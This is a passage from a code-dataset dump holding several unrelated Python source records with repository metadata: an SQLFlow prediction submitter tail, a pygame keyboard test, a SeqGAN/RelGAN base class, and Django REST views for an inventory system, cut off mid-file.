model_params,\n \"file://\" + os.path.join(cwd, JOB_ARCHIVE_FILE),\n \"file://\" + os.path.join(cwd, PARAMS_FILE), cwd)\n submit_pai_task(cmd, datasource)\n table_ops.drop_tables([data_table], datasource)\n", "repo_name": "sdjamesliu/alldata", "sub_path": "ai/sqlflow-versions/sqlflow-0.4.2/python/runtime/pai/submitter_predict.py", "file_name": "submitter_predict.py", "file_ext": "py", "file_size_in_byte": 5568, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "runtime.pai.cluster_conf.get_cluster_config", "line_number": 40, "usage_type": "call"}, {"api_name": "runtime.pai.cluster_conf", "line_number": 40, "usage_type": "name"}, {"api_name": "runtime.db.connect_with_data_source", "line_number": 41, "usage_type": "call"}, {"api_name": "runtime.db", "line_number": 41, "usage_type": "name"}, {"api_name": "runtime.model.EstimatorType.PAIML", "line_number": 42, "usage_type": "attribute"}, {"api_name": "runtime.model.EstimatorType", "line_number": 42, "usage_type": "name"}, {"api_name": "runtime.db.get_table_schema", "line_number": 43, "usage_type": "call"}, {"api_name": "runtime.db", "line_number": 43, "usage_type": "name"}, {"api_name": "runtime.db.get_table_schema", "line_number": 51, "usage_type": "call"}, {"api_name": "runtime.db", "line_number": 51, "usage_type": "name"}, {"api_name": "runtime.pai.get_pai_tf_cmd.get_pai_tf_cmd", "line_number": 54, "usage_type": "call"}, {"api_name": "runtime.pai.get_pai_tf_cmd.ENTRY_FILE", "line_number": 54, "usage_type": "argument"}, {"api_name": "runtime.model.EstimatorType.TENSORFLOW", "line_number": 61, "usage_type": "attribute"}, {"api_name": "runtime.model.EstimatorType", "line_number": 61, "usage_type": "name"}, {"api_name": "runtime.model.EstimatorType.PAIML", "line_number": 63, "usage_type": "attribute"}, {"api_name": "runtime.model.EstimatorType", "line_number": 63, "usage_type": "name"}, {"api_name": "runtime.model.EstimatorType.XGBOOST", "line_number": 65, "usage_type": "attribute"}, {"api_name": "runtime.model.EstimatorType", "line_number": 65, "usage_type": "name"}, {"api_name": "runtime.diagnostics.SQLFlowDiagnostic", "line_number": 68, "usage_type": "call"}, {"api_name": "tempfile.mkdtemp", "line_number": 91, "usage_type": "call"}, {"api_name": "runtime.pai.table_ops.create_tmp_table_from_select", "line_number": 94, "usage_type": "call"}, {"api_name": "runtime.pai.table_ops", "line_number": 94, "usage_type": "name"}, {"api_name": "runtime.pai.table_ops.get_project", "line_number": 99, "usage_type": "call"}, {"api_name": "runtime.pai.table_ops", "line_number": 99, "usage_type": "name"}, {"api_name": "runtime.pai.pai_model.get_oss_model_save_path", "line_number": 103, "usage_type": "call"}, {"api_name": "runtime.pai.pai_model", "line_number": 103, "usage_type": "name"}, {"api_name": "runtime.pai.pai_model.get_oss_saved_model_type_and_estimator", "line_number": 107, "usage_type": "call"}, {"api_name": "runtime.pai.pai_model", "line_number": 107, "usage_type": "name"}, {"api_name": "runtime.pai.create_result_table.create_predict_result_table", "line_number": 112, "usage_type": "call"}, {"api_name": "runtime.pai.prepare_archive.prepare_archive", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 120, "usage_type": "call"}, {"api_name": "runtime.pai.get_pai_tf_cmd.JOB_ARCHIVE_FILE", "line_number": 120, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "runtime.pai.get_pai_tf_cmd.PARAMS_FILE", "line_number": 121, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "runtime.pai.submit_pai_task.submit_pai_task", "line_number": 122, "usage_type": "call"}, {"api_name": "runtime.pai.table_ops.drop_tables", "line_number": 123, "usage_type": "call"}, {"api_name": "runtime.pai.table_ops", "line_number": 123, "usage_type": "name"}]} +{"seq_id": "24297082925", "text": "import pygame\nimport time\npygame.init()\nscreen_width=240\nscreen_height=70\nscreen=pygame.display.set_mode([screen_width,screen_height])\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit(); #sys.exit() if sys is imported\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n print(\"SPACE\")\n pygame.quit();\n time.sleep(1)\n", "repo_name": "yanstolyarov/praktika", "sub_path": "test_keyboard_3.py", "file_name": "test_keyboard_3.py", "file_ext": "py", "file_size_in_byte": 445, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pygame.init", "line_number": 3, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 14, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "19972135954", "text": "from abc import abstractmethod, ABCMeta\n\nfrom utils.utils import init_sess\nfrom utils.text_process import code_to_text, get_tokenlized\nimport os\nimport numpy as np\nimport tensorflow as tf\n\nclass Gan(metaclass=ABCMeta):\n\n def __init__(self):\n self.oracle = None\n self.generator = None\n self.discriminator = None\n self.discriminator_new = None\n self.gen_data_loader = None\n self.dis_data_loader = None\n self.dis_train_data_loader = None\n self.dis_valid_data_loader = None\n self.oracle_data_loader = None\n self.fake_data_loader = None\n self.valid_data_loader = None\n self.test_data_loader = None\n self.sess = init_sess()\n self.metrics = list()\n self.epoch = 0\n self.log = None\n self.reward = None\n # temp file\n self.oracle_file = None\n self.generator_file = None\n self.text_file = None\n self.test_file = None\n self.valid_file = None\n # pathes\n self.output_path = None\n self.save_path = None\n self.summary_path = None\n # dict\n self.wi_dict = None\n self.iw_dict = None\n self.sequence_length = None\n self.vocab_size = None\n\n def set_config(self, config):\n self.__dict__.update(config.dict)\n\n def set_oracle(self, oracle):\n self.oracle = oracle\n\n def set_generator(self, generator):\n self.generator = generator\n\n def set_discriminator(self, discriminator, discriminator_new=None):\n self.discriminator = discriminator\n self.discriminator_new = discriminator_new\n\n def set_data_loader(self, gen_loader, dis_loader, dis_train_loader, dis_valid_loader, oracle_loader, fake_loader, valid_loader, test_loader):\n self.gen_data_loader = gen_loader\n self.dis_data_loader = dis_loader\n self.dis_train_data_loader = dis_train_loader\n self.dis_valid_data_loader = dis_valid_loader\n self.oracle_data_loader = oracle_loader\n self.fake_data_loader = fake_loader\n self.valid_data_loader = valid_loader\n self.test_data_loader = test_loader\n\n def set_sess(self, sess):\n self.sess = sess\n\n def add_metric(self, metric):\n self.metrics.append(metric)\n\n def add_epoch(self):\n self.epoch += 1\n\n def reset_epoch(self):\n # in use\n self.epoch = 0\n return\n\n def evaluate_scores(self):\n from time import time\n log = \"epoch:\" + str(self.epoch) + '\\t'\n scores = list()\n scores.append(self.epoch)\n for metric in self.metrics:\n tic = time()\n score = metric.get_score()\n log += metric.get_name() + \":\" + str(score) + '\\t'\n toc = time()\n print(f\"time elapsed of {metric.get_name()}: {toc - tic:.1f}s\")\n scores.append(score)\n print(log)\n return scores\n\n def evaluate(self):\n if self.oracle_data_loader is not None:\n self.oracle_data_loader.create_batches(self.generator_file)\n with open(self.log, 'a') as log:\n if self.epoch == 0 or self.epoch == 1:\n head = [\"epoch\"]\n for metric in self.metrics:\n head.append(metric.get_name())\n log.write(','.join(head) + '\\n')\n scores = self.evaluate_scores()\n log.write(','.join([str(s) for s in scores]) + '\\n')\n return scores\n \n def evaluate_real(self):\n self.generate_samples()\n self.get_real_test_file()\n self.evaluate()\n\n def get_real_test_file(self):\n with open(self.generator_file, 'r') as file:\n codes = get_tokenlized(self.generator_file)\n output = code_to_text(codes=codes, dictionary=self.iw_dict)\n with open(self.text_file, 'w', encoding='utf-8') as outfile:\n outfile.write(output)\n output_file = os.path.join(self.output_path, f\"epoch_{self.epoch}.txt\")\n with open(output_file, 'w', encoding='utf-8') as of:\n of.write(output)\n\n def generate_samples(self, oracle=False):\n if oracle:\n generator = self.oracle\n output_file = self.oracle_file\n else:\n generator = self.generator\n output_file = self.generator_file\n # Generate Samples\n generated_samples = []\n for _ in range(int(self.generated_num / self.batch_size)):\n generated_samples.extend(generator.generate(self.sess))\n codes = list()\n\n with open(output_file, 'w') as fout:\n for sent in generated_samples:\n buffer = ' '.join([str(x) for x in sent]) + '\\n'\n fout.write(buffer)\n\n \n def generate_specified_score_sample(self):\n #Generate a negative sample of the specified score,\n #Here is a negative sample with a score of <0.3, 0.3-0.5, 0.5-0.9, >0.9\n #only apply to seqgan\n self.generate_samples()\n self.fake_data_loader.create_batches(self.generator_file)\n for _ in range(10):\n x_batch = self.fake_data_loader.next_batch()\n y_batch = [[1, 0] for _ in range(self.batch_size)]\n feed = {\n self.discriminator_new.input_x: x_batch,\n self.discriminator_new.input_y: y_batch,\n }\n neg_samples_less_03, neg_samples_03to05, neg_samples_05to09, neg_samples_greater_09= self.sess.run(\n [self.discriminator_new.neg_samples_less_03, self.discriminator_new.neg_samples_03to05, self.discriminator_new.neg_samples_05to09, self.discriminator_new.neg_samples_greater_09], feed)\n self.output_low_samples(neg_samples_less_03, 'neg_samples_less_03')\n self.output_low_samples(neg_samples_03to05, 'neg_samples_03to05')\n self.output_low_samples(neg_samples_05to09, 'neg_samples_05to09')\n self.output_low_samples(neg_samples_greater_09, 'neg_samples_greater_09')\n\n\n def output_low_samples(self, sentences, type):\n name = None\n if type == \"neg_samples_greater_09\":\n name = os.path.join(self.output_path, f\"neg_samples_greater_09.txt\")\n elif type == \"neg_samples_05to09\":\n name = os.path.join(self.output_path, f\"neg_samples_05to09.txt\")\n elif type == \"neg_samples_03to05\":\n name = os.path.join(self.output_path, f\"neg_samples_03to05.txt\")\n elif type == \"neg_samples_less_03\":\n name = os.path.join(self.output_path, f\"neg_samples_less_03.txt\")\n\n with open(name, 'a+') as fout:\n for sent in sentences:\n if np.sum(sent) == 0:\n pass\n else:\n buffer = ' '.join([str(x) for x in sent]) + '\\n'\n fout.write(buffer)\n outputs = code_to_text(codes=sentences, dictionary=self.iw_dict)\n output_files = os.path.join(self.output_path, f\"{type}_textfile.txt\")\n with open(output_files, 'w', encoding='utf-8') as of:\n of.write(outputs)\n\n def pre_train_epoch(self):\n # Pre-train the generator using MLE for one epoch\n supervised_g_losses = []\n self.gen_data_loader.reset_pointer()\n\n for it in range(self.gen_data_loader.num_batch):\n batch = self.gen_data_loader.next_batch()\n g_loss = self.generator.pretrain_step(self.sess, batch)\n supervised_g_losses.append(g_loss)\n\n return np.mean(supervised_g_losses)\n\n\n def init_real_metric(self):\n\n from utils.metrics.Nll import Nll\n from utils.metrics.PPL import PPL\n from utils.metrics.DocEmbSim import DocEmbSim\n from utils.others.Bleu import Bleu\n from utils.metrics.SelfBleu import SelfBleu\n\n if self.valid_ppl:\n valid_ppl = PPL(self.valid_data_loader, self.generator, self.sess)\n valid_ppl.set_name('valid_ppl')\n self.add_metric(valid_ppl)\n if self.nll_gen:\n nll_gen = Nll(self.gen_data_loader, self.generator, self.sess)\n nll_gen.set_name('nll_gen')\n self.add_metric(nll_gen)\n if self.doc_embsim:\n doc_embsim = DocEmbSim(\n self.oracle_file, self.generator_file, self.vocab_size)\n doc_embsim.set_name('doc_embsim')\n self.add_metric(doc_embsim)\n if self.bleu:\n FLAGS = tf.app.flags.FLAGS\n dataset = FLAGS.data\n if dataset == \"image_coco\":\n real_text = 'data/testdata/test_image_coco.txt'\n elif dataset == \"emnlp_news\":\n real_text = 'data/testdata/test_emnlp_news.txt'\n else:\n raise ValueError\n for i in range(3, 4):\n bleu = Bleu(\n test_text=self.text_file,\n real_text=real_text, gram=i)\n bleu.set_name(f\"Bleu{i}\")\n self.add_metric(bleu)\n if self.selfbleu:\n for i in range(2, 6):\n selfbleu = SelfBleu(test_text=self.text_file, gram=i)\n selfbleu.set_name(f\"Selfbleu{i}\")\n self.add_metric(selfbleu)\n\n def save_summary(self):\n # summary writer\n self.sum_writer = tf.summary.FileWriter(\n self.summary_path, self.sess.graph)\n return self.sum_writer\n\n def total_distance_for_seqgan(self):\n # Total average distance calculation on the test set\n self.test_data_loader.create_batches(self.test_file)\n self.fake_data_loader.create_batches(self.generator_file)\n po_sum_all = []\n true_all = []\n po_distance_all = []\n for _ in range(self.test_data_loader.num_batch):\n y_batch_s = [[0, 1] for _ in range(self.batch_size)]\n x_batch_s = self.test_data_loader.next_batch()\n feed_s = {\n self.discriminator_new.input_x: x_batch_s,\n self.discriminator_new.input_y: y_batch_s,\n }\n real_sig_distance_sum, positive_sum, po_true = self.sess.run(\n [self.discriminator_new.real_sig_distance_sum, self.discriminator_new.positive_sum, self.discriminator_new.po_true],\n feed_s)\n true_all.append(np.sum(po_true))\n po_sum_all.append(positive_sum)\n po_distance_all.append(real_sig_distance_sum)\n po_aver = np.sum(po_sum_all) / (self.test_data_loader.num_batch * self.batch_size)\n po_distance_avr = np.sum(po_distance_all) / (self.test_data_loader.num_batch * self.batch_size)\n\n neg_sum_all = []\n neg_distance_all = []\n neg_all = []\n for _ in range(self.test_data_loader.num_batch):\n y_batch = [[1, 0] for _ in range(self.batch_size)]\n x_batch = self.fake_data_loader.next_batch()\n feed = {\n self.discriminator_new.input_x: x_batch,\n self.discriminator_new.input_y: y_batch,\n }\n fake_sig_distance_sum, negtive_sum, neg_true = self.sess.run(\n [self.discriminator_new.fake_sig_distance_sum, self.discriminator_new.negtive_sum, self.discriminator_new.neg_true],\n feed)\n neg_all.append(np.sum(neg_true))\n neg_sum_all.append(negtive_sum)\n neg_distance_all.append(fake_sig_distance_sum)\n\n neg_aver = np.sum(neg_sum_all) / (self.test_data_loader.num_batch * self.batch_size)\n neg_distance_avr = np.sum(neg_distance_all) / (self.test_data_loader.num_batch * self.batch_size)\n\n distance_relative = po_aver - neg_aver\n distance_absolute = po_distance_avr - neg_distance_avr\n accuracy = (np.sum(true_all) + np.sum(neg_all)) / (2 * self.test_data_loader.num_batch * self.batch_size)\n print(\"accuracy:\" + str(accuracy))\n print(\"relative distance：\" + str(distance_relative))\n print(\"absolute distance：\" + str(distance_absolute))\n\n def total_distance_for_relgan(self):\n # Total average distance calculation on the test set\n self.test_data_loader.create_batches(self.test_file)\n self.fake_data_loader.create_batches(self.generator_file)\n po_sum_all = []\n neg_sum_all = []\n true_all = []\n neg_all = []\n po_absolute_all = []\n neg_absolute_all = []\n for _ in range(self.test_data_loader.num_batch):\n real_sig_distance, fake_sig_distance, real_sig, fake_sig, fake_sig_less_index, real_sig_greater_index = self.sess.run(\n [self.discriminator_new.real_sig_distance, self.discriminator_new.fake_sig_distance,\n self.discriminator_new.real_sig, self.discriminator_new.fake_sig, self.discriminator_new.fake_sig_less_index,\n self.discriminator_new.real_sig_greater_index],\n feed_dict={self.generator.x_real: self.test_data_loader.next_batch(),\n self.generator.x_fake: self.fake_data_loader.next_batch()})\n\n true_all.append(np.sum(real_sig_greater_index))\n neg_all.append(np.sum(fake_sig_less_index))\n po_sum_all.append(np.sum(real_sig))\n neg_sum_all.append(np.sum(fake_sig))\n po_absolute_all.append(real_sig_distance * self.batch_size)\n neg_absolute_all.append(fake_sig_distance * self.batch_size)\n\n po_avr = np.sum(po_sum_all) / (self.test_data_loader.num_batch * self.batch_size)\n neg_avr = np.sum(neg_sum_all) / (self.test_data_loader.num_batch * self.batch_size)\n po_absolute_avr = np.sum(po_absolute_all) / (self.test_data_loader.num_batch * self.batch_size)\n neg_absolute_avr = np.sum(neg_absolute_all) / (self.test_data_loader.num_batch * self.batch_size)\n\n distance_relative = po_avr - neg_avr\n distance_absolute = po_absolute_avr - neg_absolute_avr\n\n accuracy = (np.sum(true_all) + np.sum(neg_all)) / (2 * self.test_data_loader.num_batch * self.batch_size)\n print(\"accuracy:\" + str(accuracy))\n print(\"relative distance：\" + str(distance_relative))\n print(\"absolute distance：\" + str(distance_absolute))\n\n def check_valid(self):\n # TODO\n pass\n\n @abstractmethod\n def train_oracle(self):\n pass\n\n def train_cfg(self):\n pass\n\n def train_real(self):\n pass\n\n\nclass Gen(metaclass=ABCMeta):\n\n def __init__(self):\n pass\n\n @abstractmethod\n def generate(self):\n pass\n\n @abstractmethod\n def get_nll(self):\n pass\n\n @abstractmethod\n def pretrain_step(self):\n pass\n\n\nclass Dis(metaclass=ABCMeta):\n\n def __init__(self):\n pass\n\n @abstractmethod\n def predict(self):\n pass\n", "repo_name": "anonymousBoy-sys/seqgan-relgan", "sub_path": "models/Gan.py", "file_name": "Gan.py", "file_ext": "py", "file_size_in_byte": 14677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "abc.ABCMeta", "line_number": 9, "usage_type": "name"}, {"api_name": "utils.utils.init_sess", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 88, "usage_type": "call"}, {"api_name": "time.time", "line_number": 91, "usage_type": "call"}, {"api_name": "utils.text_process.get_tokenlized", "line_number": 117, "usage_type": "call"}, {"api_name": "utils.text_process.code_to_text", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 168, "usage_type": "call"}, {"api_name": "os.path", "line_number": 168, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path", "line_number": 170, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path", "line_number": 172, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 174, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 178, "usage_type": "call"}, {"api_name": "utils.text_process.code_to_text", "line_number": 183, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path", "line_number": 184, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 198, "usage_type": "call"}, {"api_name": "utils.metrics.PPL.PPL", "line_number": 210, "usage_type": "call"}, {"api_name": "utils.metrics.Nll.Nll", "line_number": 214, "usage_type": "call"}, {"api_name": "utils.metrics.DocEmbSim.DocEmbSim", "line_number": 218, "usage_type": "call"}, {"api_name": "tensorflow.app", "line_number": 223, "usage_type": "attribute"}, {"api_name": "utils.others.Bleu.Bleu", "line_number": 232, "usage_type": "call"}, {"api_name": "utils.metrics.SelfBleu.SelfBleu", "line_number": 239, "usage_type": "call"}, {"api_name": "tensorflow.summary.FileWriter", "line_number": 245, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 245, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 270, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 290, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 294, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 318, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 319, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 324, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 325, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 327, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 332, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 341, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 352, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 357, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 361, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 365, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 370, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 375, "usage_type": "name"}]} +{"seq_id": "21475426306", "text": "from django.shortcuts import render, render_to_response\nfrom django.http import Http404, HttpResponse, HttpResponseRedirect\nfrom django.db.models import Sum, F\nfrom django.db import models\nfrom django.contrib.contenttypes.models import ContentType\nimport time, datetime\nfrom inv.config import *\nimport csv\n\n\nfrom inv.models import *\nfrom inv.forms import *\nimport json\nfrom django.core.cache import caches\nfrom django.core import signing\nimport operator\nfrom django.db.models import Q\n\n# DRF\nfrom rest_framework import viewsets, status, mixins\nfrom . import serializers\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import action\nfrom rest_framework.views import APIView\n\n\nDOCUMENT = {\n 'income': {'model': DocIncome, 'table_unit': DocIncomeTableUnit, 'form': DocIncomeForm, 'formset': DocIncomeTableUnitFormSet},\n 'writeoff': {'model': DocWriteoff, 'table_unit': DocWriteoffTableUnit, 'form': DocWriteoffForm, 'formset': DocWriteoffTableUnitFormSet},\n 'move': {'model': DocMove, 'table_unit': DocMoveTableUnit, 'form': DocMoveForm, 'formset': DocMoveTableUnitFormSet},\n 'inventory': {'model': DocInventory, 'table_unit': DocInventoryTableUnit, 'form': DocInventoryForm, 'formset': DocInventoryTableUnitFormSet},\n 'docincome': {'model': DocIncome, 'table_unit': DocIncomeTableUnit, 'form': DocIncomeForm, 'formset': DocIncomeTableUnitFormSet},\n 'docwriteoff': {'model': DocWriteoff, 'table_unit': DocWriteoffTableUnit, 'form': DocWriteoffForm, 'formset': DocWriteoffTableUnitFormSet},\n 'docmove': {'model': DocMove, 'table_unit': DocMoveTableUnit, 'form': DocMoveForm, 'formset': DocMoveTableUnitFormSet},\n 'docinventory': {'model': DocInventory, 'table_unit': DocInventoryTableUnit, 'form': DocInventoryForm, 'formset': DocInventoryTableUnitFormSet},\n}\n\nCATALOG = {\n 'device': {'model': Device, 'form': DeviceForm, 'order_by': 'nomenclature'},\n 'devicetype': {'model': DeviceType, 'form': DeviceTypeForm, 'order_by': 'label'},\n 'nomenclature': {'model': Nomenclature, 'form': NomenclatureForm, 'order_by': 'label'},\n 'person': {'model': Person, 'form': PersonForm, 'order_by': 'surname'},\n 'department': {'model': Department, 'form': DepartmentForm, 'order_by': 'label'},\n 'stock': {'model': Stock, 'form': StockForm, 'order_by': 'label'},\n}\n\nREGISTRY = {\n 'devicestock': {'model': RegDeviceStock, 'form': RegDeviceStockForm},\n}\n\nOPERATION_DESCR = {\n 'reg_write': 'Проведение документа',\n 'reg_delete': 'Отмена проведения документа',\n 'doc_write': 'Запись документа',\n 'catlg_write': 'Запись',\n}\n\n\ndef get_doc_type(doc_name):\n if doc_name in DOCUMENT:\n return DOCUMENT[doc_name]\n else:\n return False\n\n\ndef get_catlg_type(catlg_name):\n if catlg_name in CATALOG:\n return CATALOG[catlg_name]\n else:\n return False\n\n\ndef get_reg_type(reg_name):\n if reg_name in REGISTRY:\n return REGISTRY[reg_name]\n else:\n return False\n\n\nclass DocumentViewSet(viewsets.ViewSet):\n def destroy(self, request, pk, format=None):\n doc = self.get_object()\n dd = doc.doc_delete()\n if dd['success']:\n return Response(status=status.HTTP_204_NO_CONTENT)\n else:\n return Response(dd['data'], status=status.HTTP_400_BAD_REQUEST)\n\n # @action(detail=False, url_path='next_doc_num')\n # def next_doc_num(self, request, pk=None):\n # doc_num = self.serializer_class.Meta.model.objects.get_doc_num()\n # doc_num_json = json.dumps({'doc_num': doc_num})\n # return HttpResponse(doc_num_json)\n\n # @action(detail=False, url_path='get_labels')\n # def get_labels(self, *args):\n # labels = {}\n\n # for field in self.serializer_class.Meta.model._meta.get_fields():\n # if field.name in self.serializer_class.Meta.model._meta.fields:\n # labels[field.name] = field.verbose_name\n\n # labels['_model'] = {\n # 'singular': self.serializer_class.Meta.model._meta.verbose_name.title(),\n # 'plural': self.serializer_class.Meta.model._meta.verbose_name_plural.title(),\n # }\n # labels_json = json.dumps(labels)\n # return HttpResponse(labels_json)\n\n @action(detail=True, url_path='get_reg_list')\n def get_reg_list(self, request, pk=None):\n reg_list = self.serializer_class.Meta.model.objects.get(id=pk)._REG_LIST\n reg_list = [x.lower() for x in reg_list]\n return HttpResponse(json.dumps(reg_list))\n\n @action(detail=True, url_path='get_follower')\n def get_follower(self, request, pk=None):\n doc_leader = self.serializer_class.Meta.model.objects.get(id=pk)\n followers = doc_leader.get_follower\n followers_id = []\n for doc in followers:\n if doc:\n doc_contenttype = ContentType.objects.get_for_model(doc._meta.model)\n followers_id.append({'docId': doc.id, 'docType': doc_contenttype.model})\n return HttpResponse(json.dumps(followers_id))\n\n @action(detail=True, url_path='get_leader')\n def get_leader(self, request, pk=None):\n leader_id = {}\n doc_current = self.serializer_class.Meta.model.objects.get(id=pk)\n doc_leader = doc_current.get_leader\n if doc_leader:\n doc_leader_contenttype = ContentType.objects.get_for_model(doc_leader._meta.model)\n leader_id = {'docId': doc_leader.id, 'docType': doc_leader_contenttype.model}\n return HttpResponse(json.dumps(leader_id))\n\n @action(detail=True, url_path='create_follower')\n def create_follower(self, request, pk=None):\n doc_follower_id = []\n doc_current = self.serializer_class.Meta.model.objects.get(id=pk)\n follower_type = self.request.query_params.get('follower_type', None)\n if follower_type is not None:\n follower_model = get_doc_type(follower_type)['model']\n if follower_model:\n doc_follower_id = doc_current.follower_create(model_follower=follower_model)\n return HttpResponse(json.dumps(doc_follower_id))\n\n def get_queryset(self):\n\n # Get URL parameter as a string, if exists\n ids = self.request.query_params.get('ids', None)\n\n # Get snippets for ids if they exist\n if ids is not None:\n # Convert parameter string to list of integers\n ids = [int(x) for x in ids.split(',') if x != '']\n # Get objects for all parameter ids\n queryset = self.serializer_class.Meta.model.objects.filter(pk__in=ids)\n else:\n # Else no parameters, return all objects\n queryset = self.serializer_class.Meta.model.objects.all()\n\n return queryset\n\n\nclass CatalogViewSet(viewsets.ViewSet):\n def destroy(self, request, pk, format=None):\n catlg = self.get_object()\n cd = catlg.catlg_delete()\n if cd['success']:\n return Response(status=status.HTTP_204_NO_CONTENT)\n else:\n return Response(cd['data'], status=status.HTTP_400_BAD_REQUEST)\n\n def get_queryset(self):\n\n # Get URL parameter as a string, if exists\n ids = self.request.query_params.get('ids', None)\n query = self.request.query_params.get('query', None)\n fields = self.request.query_params.get('fields', None)\n\n # Get snippets for ids if they exist\n if ids is not None:\n # Convert parameter string to list of integers\n ids = [int(x) for x in ids.split(',') if x != '']\n # Get objects for all parameter ids\n queryset = self.serializer_class.Meta.model.objects.filter(pk__in=ids)\n\n elif (query is not None) and (fields is not None):\n fields = [str(x) for x in fields.split(',')]\n filter_vals = {}\n for field in fields:\n field_label = '%s__icontains' % field\n filter_vals.update([(field_label, query)])\n\n list_of_Q = [Q(**{key: val}) for key, val in filter_vals.items()]\n query_filter = reduce(operator.or_, list_of_Q)\n queryset = self.serializer_class.Meta.model.objects.filter(query_filter)\n\n else:\n # Else no parameters, return all objects\n queryset = self.serializer_class.Meta.model.objects.all()\n\n return queryset\n\n\nclass Report(viewsets.ViewSet):\n report_name = 'Report'\n filter_options = {}\n fields_options = {}\n\n def list(self, request):\n return Response([{\n 'report': self.report_name,\n 'filter_options': self.filter_options,\n 'fields_options': self.fields_options,\n }])\n\n\nclass RegistryViewSet(viewsets.ViewSet):\n # @action(detail=False, url_path='get_by_doc')\n # def get_by_doc(self, request):\n # doc_req_type = self.request.query_params.get('doc_type', None)\n # doc_req_id = self.request.query_params.get('doc_id', None)\n # reg_recs_formated = []\n # reg_recs = []\n # if doc_req_type is not None and doc_req_id is not None:\n # doc_model = get_doc_type(doc_req_type)['model']\n # doc_contenttype = ContentType.objects.get_for_model(doc_model)\n # reg_recs = self.serializer_class.Meta.model.objects.filter(base_doc_type=doc_contenttype, base_doc_id=doc_req_id).order_by('-reg_date')\n # print(reg_recs)\n # for reg in reg_recs:\n # row = {}\n # for option, field in self.fields_options.items():\n # if 'catlg' in field['type']:\n # row[option] = reg[option].id\n # elif 'doc' in field['type']\n\n # return HttpResponse(json.dumps(list(reg_recs)))\n @action(detail=False, url_path='get_fields_options')\n def get_fields_options(self, request):\n return HttpResponse(json.dumps(self.fields_options))\n\n def get_queryset(self):\n doc_req_type = self.request.query_params.get('doc_type', None)\n doc_req_id = self.request.query_params.get('doc_id', None)\n reg_recs = self.serializer_class.Meta.model.objects.all()\n if doc_req_type is not None and doc_req_id is not None:\n doc_model = get_doc_type(doc_req_type)['model']\n doc_contenttype = ContentType.objects.get_for_model(doc_model)\n reg_recs = self.serializer_class.Meta.model.objects.filter(base_doc_type=doc_contenttype, base_doc_id=doc_req_id).order_by('-reg_date')\n return reg_recs\n\n\nclass RepCurrentLocation(Report):\n filter_options = {\n \"device\": {'label': 'Устройство', 'type': {'catlg': 'device'}, 'list': True, 'period': False, 'required': False},\n 'date_to': {'label': 'Дата', 'type': 'date', 'list': False, 'period': False, 'required': False},\n 'department': {'label': 'Подразделение', 'type': {'catlg': 'department'}, 'list': True, 'period': False, 'required': False},\n 'stock': {'label': 'Склад', 'type': {'catlg': 'stock'}, 'list': True, 'period': False, 'required': False},\n 'person': {'label': 'Сотрудник', 'type': {'catlg': 'person'}, 'list': 